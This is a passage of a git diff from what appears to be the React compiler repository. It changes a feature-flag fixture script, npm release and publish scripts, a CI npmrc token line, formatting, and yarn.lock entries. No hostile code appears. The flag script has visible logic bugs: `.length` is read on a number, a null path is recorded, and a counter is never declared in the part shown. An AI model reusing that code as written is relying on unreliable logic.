+    return false; // Already has the pragma
+  }
+
+  // Check if first line is a single-line comment
+  if (firstLine.trim().startsWith('//')) {
+    // Append pragma to existing comment
+    lines[0] = firstLine + ' ' + pragma;
+  } else if (firstLine.trim().startsWith('/*')) {
+    // Multi-line comment - insert new line before it
+    lines.unshift('// ' + pragma);
+  } else {
+    // No comment - insert new comment as first line
+    lines.unshift('// ' + pragma);
+  }
+
+  fs.writeFileSync(filePath, lines.join('\n'), 'utf8');
+  return true;
+}
+
+/**
+ * Update snapshot files
+ */
+function updateSnapshots() {
+  console.log('\nUpdating snapshots (yarn snap -u)...');
+
+  try {
+    execSync('yarn snap -u', {
+      cwd: COMPILER_ROOT,
+      encoding: 'utf8',
+      stdio: 'pipe',
+      maxBuffer: 10 * 1024 * 1024,
+    });
+    console.log('Snapshots updated successfully');
+    return true;
+  } catch (error) {
+    console.error('Error updating snapshots:', error.message);
+    return false;
+  }
+}
+
+/**
+ * Verify all tests pass
+ */
+function verifyAllTestsPass() {
+  console.log('\nRunning final verification (yarn snap)...');
+
+  const {success, output} = runTests();
+
+  // Parse summary line: "N Tests, N Passed, N Failed"
+  const summaryMatch = output.match(
+    /(\d+)\s+Tests,\s+(\d+)\s+Passed,\s+(\d+)\s+Failed/
+  );
+
+  if (summaryMatch) {
+    const [, total, passed, failed] = summaryMatch;
+    console.log(
+      `\nTest Results: ${total} Tests, ${passed} Passed, ${failed} Failed`
+    );
+
+    if (failed === '0') {
+      console.log('All tests passed!');
+      return true;
+    } else {
+      console.error(`${failed} tests still failing`);
+      const failingTests = parseFailingTests(output);
+      if (failingTests.length > 0) {
+        console.error('\nFailing tests:');
+        failingTests.forEach(test => console.error(`  - ${test}`));
+      }
+      return false;
+    }
+  }
+
+  return success;
+}
+
+/**
+ * Main function
+ */
+async function main() {
+  const flagName = parseArgs();
+
+  console.log(`\nEnabling flag: '${flagName}'`);
+
+  try {
+    // Step 1: Enable flag in Environment.ts
+    enableFlagInEnvironment(flagName);
+
+    // Step 2: Run tests to find failures
+    const {output} = runTests();
+    const failingTests = parseFailingTests(output);
+
+    console.log(`\nFound ${failingTests.length} failing tests`);
+
+    if (failingTests.length === 0) {
+      console.log('No failing tests! Feature flag enabled successfully.');
+      process.exit(0);
+    }
+
+    // Step 3: Add pragma to each failing fixture
+    console.log(`\nAdding '@${flagName}:false' pragma to failing fixtures...`);
+
+    const notFound = [];
+    let notFoundCount = 0;
+
+    for (const testName of failingTests) {
+      const fixturePath = findFixtureFile(testName);
+
+      if (!fixturePath) {
+        console.warn(`Could not find fixture file for: ${testName}`);
+        notFound.push(fixturePath);
+        continue;
+      }
+
+      const updated = addPragmaToFixture(fixturePath, flagName);
+      if (updated) {
+        updatedCount++;
+        console.log(`  Updated: ${testName}`);
+      }
+    }
+
+    console.log(
+      `\nSummary: Updated ${updatedCount} fixtures, ${notFoundCount} not found`
+    );
+
+    if (notFoundCount.length !== 0) {
+      console.error(
+        '\nFailed to update snapshots, could not find:\n' + notFound.join('\n')
+      );
+      process.exit(1);
+    }
+
+    // Step 4: Update snapshots
+    if (!updateSnapshots()) {
+      console.error('\nFailed to update snapshots');
+      process.exit(1);
+    }
+
+    // Step 5: Verify all tests pass
+    if (!verifyAllTestsPass()) {
+      console.error('\nVerification failed: Some tests are still failing');
+      process.exit(1);
+    }
+
+    console.log('\nSuccess! Feature flag enabled and all tests passing.');
+    console.log(`\nSummary:`);
+    console.log(`  - Enabled "${flagName}" in Environment.ts`);
+    console.log(`  - Updated ${updatedCount} fixture files with pragma`);
+    console.log(`  - All tests passing`);
+
+    process.exit(0);
+  } catch (error) {
+    console.error('\nFatal error:', error.message);
+    console.error(error.stack);
+    process.exit(1);
+  }
+}
+
+// Run the script
+main();
diff --git a/compiler/scripts/release/ci-npmrc b/compiler/scripts/release/ci-npmrc
new file mode 100644
index 000000000000..ae643592e765
--- /dev/null
+++ b/compiler/scripts/release/ci-npmrc
@@ -0,0 +1 @@
+//registry.npmjs.org/:_authToken=${NPM_TOKEN}
diff --git a/compiler/scripts/release/prompt-for-otp.js b/compiler/scripts/release/prompt-for-otp.js
index 8a05a7d9bb52..3cb1e419c784 100644
--- a/compiler/scripts/release/prompt-for-otp.js
+++ b/compiler/scripts/release/prompt-for-otp.js
@@ -1,15 +1,21 @@
 #!/usr/bin/env node
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
 
-const prompt = require("prompt-promise");
+const prompt = require('prompt-promise');
 
 const run = async () => {
   while (true) {
-    const otp = await prompt("NPM 2-factor auth code: ");
+    const otp = await prompt('NPM 2-factor auth code: ');
     prompt.done();
     if (otp) {
       return otp;
     } else {
-      console.error("\nTwo-factor auth is required to publish.");
+      console.error('\nTwo-factor auth is required to publish.');
       // (Ask again.)
     }
   }
diff --git a/compiler/scripts/release/publish-manual.js b/compiler/scripts/release/publish-manual.js
deleted file mode 100644
index 9b5e4fa24459..000000000000
--- a/compiler/scripts/release/publish-manual.js
+++ /dev/null
@@ -1,230 +0,0 @@
-const cp = require("child_process");
-const ora = require("ora");
-const path = require("path");
-const yargs = require("yargs");
-const util = require("util");
-const { hashElement } = require("folder-hash");
-const promptForOTP = require("./prompt-for-otp");
-
-const PUBLISHABLE_PACKAGES = [
-  "babel-plugin-react-compiler",
-  "eslint-plugin-react-compiler",
-  "react-compiler-healthcheck",
-];
-const TIME_TO_RECONSIDER = 3_000;
-
-function _spawn(command, args, options, cb) {
-  const child = cp.spawn(command, args, options);
-  child.on("close", (exitCode) => {
-    cb(null, exitCode);
-  });
-  return child;
-}
-const spawnHelper = util.promisify(_spawn);
-
-function execHelper(command, options, streamStdout = false) {
-  return new Promise((resolve, reject) => {
-    const proc = cp.exec(command, options, (error, stdout) =>
-      error ? reject(error) : resolve(stdout.trim())
-    );
-    if (streamStdout) {
-      proc.stdout.pipe(process.stdout);
-    }
-  });
-}
-
-function sleep(ms) {
-  return new Promise((resolve) => setTimeout(resolve, ms));
-}
-
-async function getDateStringForCommit(commit) {
-  let dateString = await execHelper(
-    `git show -s --no-show-signature --format=%cd --date=format:%Y%m%d ${commit}`
-  );
-
-  // On CI environment, this string is wrapped with quotes '...'s
-  if (dateString.startsWith("'")) {
-    dateString = dateString.slice(1, 9);
-  }
-
-  return dateString;
-}
-
-/**
- * Script for publishing PUBLISHABLE_PACKAGES to npm. By default, this runs in tarball mode, meaning
- * the script will only print out what the contents of the files included in the npm tarball would
- * be.
- *
- * Please run this first (ie `yarn npm:publish`) and double check the contents of the files that
- * will be pushed to npm.
- *
- * If it looks good, you can run `yarn npm:publish --for-real` to really publish to npm. You must
- * have 2FA enabled first and the script will prompt you to enter a 2FA code before proceeding.
- * There's a small annoying delay before the packages are actually pushed to give you time to panic
- * cancel. In this mode, we will bump the version field of each package's package.json, and git
- * commit it. Then, the packages will be published to npm.
- *
- * Optionally, you can add the `--debug` flag to `yarn npm:publish --debug --for-real` to run all
- * steps, but the final npm publish step will have the `--dry-run` flag added to it. This will make
- * the command only report what it would have done, instead of actually publishing to npm.
- */
-async function main() {
-  const argv = yargs(process.argv.slice(2))
-    .option("packages", {
-      description: "which packages to publish, defaults to all",
-      choices: PUBLISHABLE_PACKAGES,
-      default: PUBLISHABLE_PACKAGES,
-    })
-    .option("for-real", {
-      alias: "frfr",
-      description:
-        "whether to publish to npm (npm publish) or dryrun (npm publish --dry-run)",
-      type: "boolean",
-      default: false,
-    })
-    .option("debug", {
-      description:
-        "If enabled, will always run npm commands in dry run mode irregardless of the for-real flag",
-      type: "boolean",
-      default: false,
-    })
-    .help("help")
-    .parseSync();
-
-  const { packages, forReal, debug } = argv;
-
-  if (debug === false) {
-    const currBranchName = await execHelper("git rev-parse --abbrev-ref HEAD");
-    const isPristine = (await execHelper("git status --porcelain")) === "";
-    if (currBranchName !== "main" || isPristine === false) {
-      throw new Error(
-        "This script must be run from the `main` branch with no uncommitted changes"
-      );
-    }
-  }
-
-  let pkgNames = packages;
-  if (Array.isArray(packages) === false) {
-    pkgNames = [packages];
-  }
-  const spinner = ora(
-    `Preparing to publish ${
-      forReal === true ? "(for real)" : "(dry run)"
-    } [debug=${debug}]`
-  ).info();
-
-  spinner.info("Building packages");
-  for (const pkgName of pkgNames) {
-    const command = `yarn workspace ${pkgName} run build`;
-    spinner.start(`Running: ${command}\n`);
-    try {
-      await execHelper(command);
-    } catch (e) {
-      spinner.fail(e.toString());
-      throw e;
-    }
-    spinner.succeed(`Successfully built ${pkgName}`);
-  }
-  spinner.stop();
-
-  if (forReal === false) {
-    spinner.info("Dry run: Report tarball contents");
-    for (const pkgName of pkgNames) {
-      console.log(`\n========== ${pkgName} ==========\n`);
-      spinner.start(`Running npm pack --dry-run\n`);
-      try {
-        await spawnHelper("npm", ["pack", "--dry-run"], {
-          cwd: path.resolve(__dirname, `../../packages/${pkgName}`),
-          stdio: "inherit",
-        });
-      } catch (e) {
-        spinner.fail(e.toString());
-        throw e;
-      }
-      spinner.stop(`Successfully packed ${pkgName} (dry run)`);
-    }
-    spinner.succeed(
-      "Please confirm contents of packages before publishing. You can run this command again with --for-real to publish to npm"
-    );
-  }
-
-  if (forReal === true) {
-    const otp = await promptForOTP();
-    const commit = await execHelper(
-      "git show -s --no-show-signature --format=%h",
-      {
-        cwd: path.resolve(__dirname, ".."),
-      }
-    );
-    const dateString = await getDateStringForCommit(commit);
-
-    for (const pkgName of pkgNames) {
-      const pkgDir = path.resolve(__dirname, `../../packages/${pkgName}`);
-      const { hash } = await hashElement(pkgDir, {
-        encoding: "hex",
-        folders: { exclude: ["node_modules"] },
-        files: { exclude: [".DS_Store"] },
-      });
-      const truncatedHash = hash.slice(0, 7);
-      const newVersion = `0.0.0-experimental-${truncatedHash}-${dateString}`;
-
-      spinner.start(`Bumping version: ${pkgName}`);
-      try {
-        await execHelper(
-          `yarn version --new-version ${newVersion} --no-git-tag-version`,
-          {
-            cwd: pkgDir,
-          }
-        );
-        await execHelper(
-          `git add package.json && git commit -m "Bump version to ${newVersion}"`,
-          {
-            cwd: pkgDir,
-          }
-        );
-      } catch (e) {
-        spinner.fail(e.toString());
-        throw e;
-      }
-      spinner.succeed(
-        `Bumped ${pkgName} to ${newVersion} and added a git commit`
-      );
-    }
-
-    if (debug === false) {
-      spinner.info(
-        `🚨🚨🚨 About to publish to npm in ${
-          TIME_TO_RECONSIDER / 1000
-        } seconds. You still have time to kill this script!`
-      );
-      await sleep(TIME_TO_RECONSIDER);
-    }
-
-    for (const pkgName of pkgNames) {
-      const pkgDir = path.resolve(__dirname, `../../packages/${pkgName}`);
-      console.log(`\n========== ${pkgName} ==========\n`);
-      spinner.start(`Publishing ${pkgName} to npm\n`);
-
-      const opts = debug === true ? ["publish", "--dry-run"] : ["publish"];
-      try {
-        await spawnHelper(
-          "npm",
-          [...opts, "--registry=https://registry.npmjs.org", `--otp=${otp}`],
-          {
-            cwd: pkgDir,
-            stdio: "inherit",
-          }
-        );
-        console.log("\n");
-      } catch (e) {
-        spinner.fail(e.toString());
-        throw e;
-      }
-      spinner.succeed(`Successfully published ${pkgName} to npm`);
-    }
-
-    console.log("\n\n✅ All done, please push version bump commits to GitHub");
-  }
-}
-
-main();
diff --git a/compiler/scripts/release/publish.js b/compiler/scripts/release/publish.js
new file mode 100755
index 000000000000..4ff332d300a3
--- /dev/null
+++ b/compiler/scripts/release/publish.js
@@ -0,0 +1,237 @@
+#!/usr/bin/env node
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+'use strict';
+
+const ora = require('ora');
+const path = require('path');
+const yargs = require('yargs');
+const {hashElement} = require('folder-hash');
+const promptForOTP = require('./prompt-for-otp');
+const {PUBLISHABLE_PACKAGES} = require('./shared/packages');
+const {
+  execHelper,
+  getDateStringForCommit,
+  spawnHelper,
+} = require('./shared/utils');
+const {buildPackages} = require('./shared/build-packages');
+const {readJson, writeJson} = require('fs-extra');
+
+/**
+ * Script for publishing PUBLISHABLE_PACKAGES to npm. By default, this runs in tarball mode, meaning
+ * the script will only print out what the contents of the files included in the npm tarball would
+ * be.
+ *
+ * Please run this first (ie `yarn npm:publish`) and double check the contents of the files that
+ * will be pushed to npm.
+ *
+ * If it looks good, you can run `yarn npm:publish --for-real` to really publish to npm. You must
+ * have 2FA enabled first and the script will prompt you to enter a 2FA code before proceeding.
+ * There's a small annoying delay before the packages are actually pushed to give you time to panic
+ * cancel. In this mode, we will bump the version field of each package's package.json, and git
+ * commit it. Then, the packages will be published to npm.
+ *
+ * Optionally, you can add the `--debug` flag to `yarn npm:publish --debug --for-real` to run all
+ * steps, but the final npm publish step will have the `--dry-run` flag added to it. This will make
+ * the command only report what it would have done, instead of actually publishing to npm.
+ */
+async function main() {
+  const argv = yargs(process.argv.slice(2))
+    .option('packages', {
+      description: 'which packages to publish, defaults to all',
+      choices: PUBLISHABLE_PACKAGES,
+      default: PUBLISHABLE_PACKAGES,
+    })
+    .option('for-real', {
+      alias: 'frfr',
+      description:
+        'whether to publish to npm (npm publish) or dryrun (npm publish --dry-run)',
+      type: 'boolean',
+      default: false,
+    })
+    .option('debug', {
+      description:
+        'If enabled, will always run npm commands in dry run mode irregardless of the for-real flag',
+      type: 'boolean',
+      default: false,
+    })
+    .option('ci', {
+      description: 'Publish packages via CI',
+      type: 'boolean',
+      default: false,
+    })
+    .option('tag', {
+      description: 'Tag to publish to npm',
+      type: 'choices',
+      choices: ['experimental', 'beta', 'rc', 'latest'],
+      default: 'experimental',
+    })
+    .option('tag-version', {
+      description:
+        'Optional tag version to append to tag name, eg `1` becomes 0.0.0-rc.1',
+      type: 'number',
+      default: null,
+    })
+    .option('version-name', {
+      description: 'Version name',
+      type: 'string',
+      default: '0.0.0',
+    })
+    .help('help')
+    .strict()
+    .parseSync();
+
+  if (argv.debug === false) {
+    const currBranchName = await execHelper('git rev-parse --abbrev-ref HEAD');
+    const isPristine = (await execHelper('git status --porcelain')) === '';
+    if (currBranchName !== 'main' || isPristine === false) {
+      throw new Error(
+        'This script must be run from the `main` branch with no uncommitted changes'
+      );
+    }
+  }
+
+  let pkgNames = argv.packages;
+  if (Array.isArray(argv.packages) === false) {
+    pkgNames = [argv.packages];
+  }
+  const spinner = ora(
+    `Preparing to publish ${argv.versionName}@${argv.tag} ${
+      argv.forReal === true ? '(for real)' : '(dry run)'
+    } [debug=${argv.debug}]`
+  ).info();
+
+  await buildPackages(pkgNames);
+
+  if (argv.forReal === false) {
+    spinner.info('Dry run: Report tarball contents');
+    for (const pkgName of pkgNames) {
+      console.log(`\n========== ${pkgName} ==========\n`);
+      spinner.start(`Running npm pack --dry-run\n`);
+      try {
+        await spawnHelper('npm', ['pack', '--dry-run'], {
+          cwd: path.resolve(__dirname, `../../packages/${pkgName}`),
+          stdio: 'inherit',
+        });
+      } catch (e) {
+        spinner.fail(e.toString());
+        throw e;
+      }
+      spinner.stop(`Successfully packed ${pkgName} (dry run)`);
+    }
+    spinner.succeed(
+      'Please confirm contents of packages before publishing. You can run this command again with --for-real to publish to npm'
+    );
+  }
+
+  if (argv.forReal === true) {
+    const commit = await execHelper(
+      'git show -s --no-show-signature --format=%h',
+      {
+        cwd: path.resolve(__dirname, '..'),
+      }
+    );
+    const dateString = await getDateStringForCommit(commit);
+    const otp =
+      argv.ci === false && argv.debug === false ? await promptForOTP() : null;
+    const {hash} = await hashElement(path.resolve(__dirname, '../..'), {
+      encoding: 'hex',
+      folders: {exclude: ['node_modules']},
+      files: {exclude: ['.DS_Store']},
+    });
+    const truncatedHash = hash.slice(0, 7);
+    let newVersion;
+    if (argv.tag === 'latest') {
+      newVersion = argv.versionName;
+    } else {
+      newVersion =
+        argv.tagVersion == null || argv.tagVersion === ''
+          ? `${argv.versionName}-${argv.tag}`
+          : `${argv.versionName}-${argv.tag}.${argv.tagVersion}`;
+    }
+    if (argv.tag === 'experimental' || argv.tag === 'beta') {
+      newVersion = `${newVersion}-${truncatedHash}-${dateString}`;
+    }
+
+    for (const pkgName of pkgNames) {
+      const pkgDir = path.resolve(__dirname, `../../packages/${pkgName}`);
+      const pkgJsonPath = path.resolve(
+        __dirname,
+        `../../packages/${pkgName}/package.json`
+      );
+
+      spinner.start(`Writing package.json for ${pkgName}@${newVersion}`);
+      await writeJson(
+        pkgJsonPath,
+        {
+          ...(await readJson(pkgJsonPath)),
+          version: newVersion,
+        },
+        {spaces: 2}
+      );
+      spinner.succeed(`Wrote package.json for ${pkgName}@${newVersion}`);
+
+      console.log(`\n========== ${pkgName} ==========\n`);
+      spinner.start(`Publishing ${pkgName}@${newVersion} to npm\n`);
+
+      let opts = [];
+      if (argv.debug === true) {
+        opts.push('--dry-run');
+      }
+      if (otp != null) {
+        opts.push(`--otp=${otp}`);
+      }
+
+      opts.push(`--tag=${argv.tag}`);
+
+      try {
+        await spawnHelper(
+          'npm',
+          ['publish', ...opts, '--registry=https://registry.npmjs.org'],
+          {
+            cwd: pkgDir,
+            stdio: 'inherit',
+          }
+        );
+        console.log('\n');
+      } catch (e) {
+        spinner.fail(e.toString());
+        throw e;
+      }
+      spinner.succeed(`Successfully published ${pkgName} to npm`);
+
+      spinner.start('Pushing tags to npm');
+      if (typeof argv.tag === 'string') {
+        try {
+          let opts = ['dist-tag', 'add', `${pkgName}@${newVersion}`, argv.tag];
+          if (otp != null) {
+            opts.push(`--otp=${otp}`);
+          }
+          if (argv.debug === true) {
+            spinner.info(`dry-run: npm ${opts.join(' ')}`);
+          } else {
+            await spawnHelper('npm', opts, {
+              cwd: pkgDir,
+              stdio: 'inherit',
+            });
+          }
+        } catch (e) {
+          spinner.fail(e.toString());
+          throw e;
+        }
+        spinner.succeed(
+          `Successfully pushed dist-tag ${argv.tag} for ${pkgName} to npm`
+        );
+      }
+    }
+
+    console.log('\n\n✅ All done');
+  }
+}
+
+main();
diff --git a/compiler/scripts/release/shared/build-packages.js b/compiler/scripts/release/shared/build-packages.js
new file mode 100644
index 000000000000..0a5ac1f5c2b5
--- /dev/null
+++ b/compiler/scripts/release/shared/build-packages.js
@@ -0,0 +1,29 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+const ora = require('ora');
+const {execHelper} = require('./utils');
+
+async function buildPackages(pkgNames) {
+  const spinner = ora(`Building packages`).info();
+  for (const pkgName of pkgNames) {
+    const command = `NODE_ENV=production yarn workspace ${pkgName} run build --dts`;
+    spinner.start(`Running: ${command}\n`);
+    try {
+      await execHelper(command);
+    } catch (e) {
+      spinner.fail(e.toString());
+      throw e;
+    }
+    spinner.succeed(`Successfully built ${pkgName}`);
+  }
+  spinner.stop();
+}
+
+module.exports = {
+  buildPackages,
+};
diff --git a/compiler/scripts/release/shared/packages.js b/compiler/scripts/release/shared/packages.js
new file mode 100644
index 000000000000..235ba0f1ddb5
--- /dev/null
+++ b/compiler/scripts/release/shared/packages.js
@@ -0,0 +1,16 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+const PUBLISHABLE_PACKAGES = [
+  'babel-plugin-react-compiler',
+  'react-compiler-healthcheck',
+  'react-compiler-runtime',
+];
+
+module.exports = {
+  PUBLISHABLE_PACKAGES,
+};
diff --git a/compiler/scripts/release/shared/utils.js b/compiler/scripts/release/shared/utils.js
new file mode 100644
index 000000000000..bda2d28c032c
--- /dev/null
+++ b/compiler/scripts/release/shared/utils.js
@@ -0,0 +1,48 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+const cp = require('child_process');
+const util = require('util');
+
+function execHelper(command, options, streamStdout = false) {
+  return new Promise((resolve, reject) => {
+    const proc = cp.exec(command, options, (error, stdout) =>
+      error ? reject(error) : resolve(stdout.trim())
+    );
+    if (streamStdout) {
+      proc.stdout.pipe(process.stdout);
+    }
+  });
+}
+
+function _spawn(command, args, options, cb) {
+  const child = cp.spawn(command, args, options);
+  child.on('close', exitCode => {
+    cb(null, exitCode);
+  });
+  return child;
+}
+const spawnHelper = util.promisify(_spawn);
+
+async function getDateStringForCommit(commit) {
+  let dateString = await execHelper(
+    `git show -s --no-show-signature --format=%cd --date=format:%Y%m%d ${commit}`
+  );
+
+  // On CI environment, this string is wrapped with quotes '...'s
+  if (dateString.startsWith("'")) {
+    dateString = dateString.slice(1, 9);
+  }
+
+  return dateString;
+}
+
+module.exports = {
+  execHelper,
+  spawnHelper,
+  getDateStringForCommit,
+};
diff --git a/compiler/scripts/rustfmt.sh b/compiler/scripts/rustfmt.sh
deleted file mode 100755
index 2fb09ae32466..000000000000
--- a/compiler/scripts/rustfmt.sh
+++ /dev/null
@@ -1,12 +0,0 @@
-#!/usr/bin/env bash
-# Copyright (c) Meta Platforms, Inc. and affiliates.
-#
-# This source code is licensed under the MIT license found in the
-# LICENSE file in the root directory of this source tree.
-
-set -eo pipefail
-
-# Executes rustfmt using a nightly build of the compiler
-# NOTE: this command must exactly match the Rust Lint command in .github/workflows/rust.yml
-rustup toolchain list | grep -q nightly-2023-08-01 || (echo "Expected Rust version missing, try running: 'rustup toolchain install nightly-2023-08-01'" && exit 1)
-grep -r --include "*.rs" --files-without-match "@generated" crates | xargs rustup run nightly-2023-08-01 rustfmt --config="skip_children=true" "$@"
diff --git a/compiler/scripts/update-commit-message.js b/compiler/scripts/update-commit-message.js
index ad585a1f128c..7cda9547eccd 100644
--- a/compiler/scripts/update-commit-message.js
+++ b/compiler/scripts/update-commit-message.js
@@ -13,48 +13,48 @@
  *   - $ GITHUB_AUTH_TOKEN="..." git filter-branch -f --msg-filter "node update-commit-message.js" 2364096862b72cf4d801ef2008c54252335a2df9..HEAD
  */
 
-const { Octokit, App } = require("octokit");
-const fs = require("fs");
+const {Octokit, App} = require('octokit');
+const fs = require('fs');
 
-const OWNER = "facebook";
-const REPO = "react-forget";
-const octokit = new Octokit({ auth: process.env.GITHUB_AUTH_TOKEN });
+const OWNER = 'facebook';
+const REPO = 'react-forget';
+const octokit = new Octokit({auth: process.env.GITHUB_AUTH_TOKEN});
 
-const fetchPullRequest = async (pullNumber) => {
+const fetchPullRequest = async pullNumber => {
   const response = await octokit.request(
-    "GET /repos/{owner}/{repo}/pulls/{pull_number}",
+    'GET /repos/{owner}/{repo}/pulls/{pull_number}',
     {
       owner: OWNER,
       repo: REPO,
       pull_number: pullNumber,
       headers: {
-        "X-GitHub-Api-Version": "2022-11-28",
+        'X-GitHub-Api-Version': '2022-11-28',
       },
     }
   );
-  return { body: response.data.body, title: response.data.title };
+  return {body: response.data.body, title: response.data.title};
 };
 
 function formatCommitMessage(str) {
-  let formattedStr = "";
-  let line = "";
+  let formattedStr = '';
+  let line = '';
 
-  const trim = str.replace(/(\r\n|\n|\r)/gm, " ").trim();
+  const trim = str.replace(/(\r\n|\n|\r)/gm, ' ').trim();
   if (!trim) {
-    return "";
+    return '';
   }
 
   // Split the string into words
-  const words = trim.split(" ");
+  const words = trim.split(' ');
   // Iterate over each word
   for (let i = 0; i < words.length; i++) {
     // If adding the next word doesn't exceed the line length limit, add it to the line
     if ((line + words[i]).length <= 80) {
-      line += words[i] + " ";
+      line += words[i] + ' ';
     } else {
       // Otherwise, add the line to the formatted string and start a new line
-      formattedStr += line + "\n";
-      line = words[i] + " ";
+      formattedStr += line + '\n';
+      line = words[i] + ' ';
     }
   }
   // Add the last line to the formatted string
@@ -63,9 +63,9 @@ function formatCommitMessage(str) {
 }
 
 function filterMsg(response) {
-  const { body, title } = response;
+  const {body, title} = response;
 
-  const msgs = body.split("\n\n").flatMap((x) => x.split("\r\n"));
+  const msgs = body.split('\n\n').flatMap(x => x.split('\r\n'));
 
   const newMessage = [];
 
@@ -74,17 +74,17 @@ function filterMsg(response) {
 
   for (const msg of msgs) {
     // remove "Stack from [ghstack] blurb"
-    if (msg.startsWith("Stack from ")) {
+    if (msg.startsWith('Stack from ')) {
       continue;
     }
 
     // remove "* #1234"
-    if (msg.startsWith("* #")) {
+    if (msg.startsWith('* #')) {
       continue;
     }
 
     // remove "* __->__ #1234"
-    if (msg.startsWith("* __")) {
+    if (msg.startsWith('* __')) {
       continue;
     }
 
@@ -95,7 +95,7 @@ function filterMsg(response) {
     newMessage.push(formattedStr);
   }
 
-  const updatedMsg = newMessage.join("\n\n");
+  const updatedMsg = newMessage.join('\n\n');
   return updatedMsg;
 }
 
@@ -109,9 +109,7 @@ function parsePullRequestNumber(text) {
   if (ghstackMatch) {
     return ghstackMatch[1];
   }
-  const firstLine = text
-    .split("\n")
-    .filter((text) => text.trim().length > 0)[0];
+  const firstLine = text.split('\n').filter(text => text.trim().length > 0)[0];
   if (firstLine == null) {
     return null;
   }
@@ -124,7 +122,7 @@ function parsePullRequestNumber(text) {
 }
 
 async function main() {
-  const data = fs.readFileSync(0, "utf-8");
+  const data = fs.readFileSync(0, 'utf-8');
   const pr = parsePullRequestNumber(data);
 
   if (pr) {
diff --git a/compiler/yarn.lock b/compiler/yarn.lock
index 4e4c82e1932f..a328b70efa72 100644
--- a/compiler/yarn.lock
+++ b/compiler/yarn.lock
@@ -4,64 +4,200 @@
 
 "@aashutoshrathi/word-wrap@^1.2.3":
   version "1.2.6"
-  resolved "https://registry.yarnpkg.com/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz#bd9154aec9983f77b3a034ecaa015c2e4201f6cf"
+  resolved "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz"
   integrity sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==
 
-"@alloc/quick-lru@^5.2.0":
-  version "5.2.0"
-  resolved "https://registry.yarnpkg.com/@alloc/quick-lru/-/quick-lru-5.2.0.tgz#7bf68b20c0a350f936915fcae06f58e32007ce30"
-  integrity sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==
+"@algolia/client-abtesting@5.23.4":
+  version "5.23.4"
+  resolved "https://registry.npmjs.org/@algolia/client-abtesting/-/client-abtesting-5.23.4.tgz"
+  integrity sha512-WIMT2Kxy+FFWXWQxIU8QgbTioL+SGE24zhpj0kipG4uQbzXwONaWt7ffaYLjfge3gcGSgJVv+1VlahVckafluQ==
+  dependencies:
+    "@algolia/client-common" "5.23.4"
+    "@algolia/requester-browser-xhr" "5.23.4"
+    "@algolia/requester-fetch" "5.23.4"
+    "@algolia/requester-node-http" "5.23.4"
+
+"@algolia/client-analytics@5.23.4":
+  version "5.23.4"
+  resolved "https://registry.npmjs.org/@algolia/client-analytics/-/client-analytics-5.23.4.tgz"
+  integrity sha512-4B9gChENsQA9kFmFlb+x3YhBz2Gx3vSsm81FHI1yJ3fn2zlxREHmfrjyqYoMunsU7BybT/o5Nb7ccCbm/vfseA==
+  dependencies:
+    "@algolia/client-common" "5.23.4"
+    "@algolia/requester-browser-xhr" "5.23.4"
+    "@algolia/requester-fetch" "5.23.4"
+    "@algolia/requester-node-http" "5.23.4"
+
+"@algolia/client-common@5.23.4":
+  version "5.23.4"
+  resolved "https://registry.npmjs.org/@algolia/client-common/-/client-common-5.23.4.tgz"
+  integrity sha512-bsj0lwU2ytiWLtl7sPunr+oLe+0YJql9FozJln5BnIiqfKOaseSDdV42060vUy+D4373f2XBI009K/rm2IXYMA==
+
+"@algolia/client-insights@5.23.4":
+  version "5.23.4"
+  resolved "https://registry.npmjs.org/@algolia/client-insights/-/client-insights-5.23.4.tgz"
+  integrity sha512-XSCtAYvJ/hnfDHfRVMbBH0dayR+2ofVZy3jf5qyifjguC6rwxDsSdQvXpT0QFVyG+h8UPGtDhMPoUIng4wIcZA==
+  dependencies:
+    "@algolia/client-common" "5.23.4"
+    "@algolia/requester-browser-xhr" "5.23.4"
+    "@algolia/requester-fetch" "5.23.4"
+    "@algolia/requester-node-http" "5.23.4"
+
+"@algolia/client-personalization@5.23.4":
+  version "5.23.4"
+  resolved "https://registry.npmjs.org/@algolia/client-personalization/-/client-personalization-5.23.4.tgz"
+  integrity sha512-l/0QvqgRFFOf7BnKSJ3myd1WbDr86ftVaa3PQwlsNh7IpIHmvVcT83Bi5zlORozVGMwaKfyPZo6O48PZELsOeA==
+  dependencies:
+    "@algolia/client-common" "5.23.4"
+    "@algolia/requester-browser-xhr" "5.23.4"
+    "@algolia/requester-fetch" "5.23.4"
+    "@algolia/requester-node-http" "5.23.4"
+
+"@algolia/client-query-suggestions@5.23.4":
+  version "5.23.4"
+  resolved "https://registry.npmjs.org/@algolia/client-query-suggestions/-/client-query-suggestions-5.23.4.tgz"
+  integrity sha512-TB0htrDgVacVGtPDyENoM6VIeYqR+pMsDovW94dfi2JoaRxfqu/tYmLpvgWcOknP6wLbr8bA+G7t/NiGksNAwQ==
+  dependencies:
+    "@algolia/client-common" "5.23.4"
+    "@algolia/requester-browser-xhr" "5.23.4"
+    "@algolia/requester-fetch" "5.23.4"
+    "@algolia/requester-node-http" "5.23.4"
+
+"@algolia/client-search@5.23.4":
+  version "5.23.4"
+  resolved "https://registry.npmjs.org/@algolia/client-search/-/client-search-5.23.4.tgz"
+  integrity sha512-uBGo6KwUP6z+u6HZWRui8UJClS7fgUIAiYd1prUqCbkzDiCngTOzxaJbEvrdkK0hGCQtnPDiuNhC5MhtVNN4Eg==
+  dependencies:
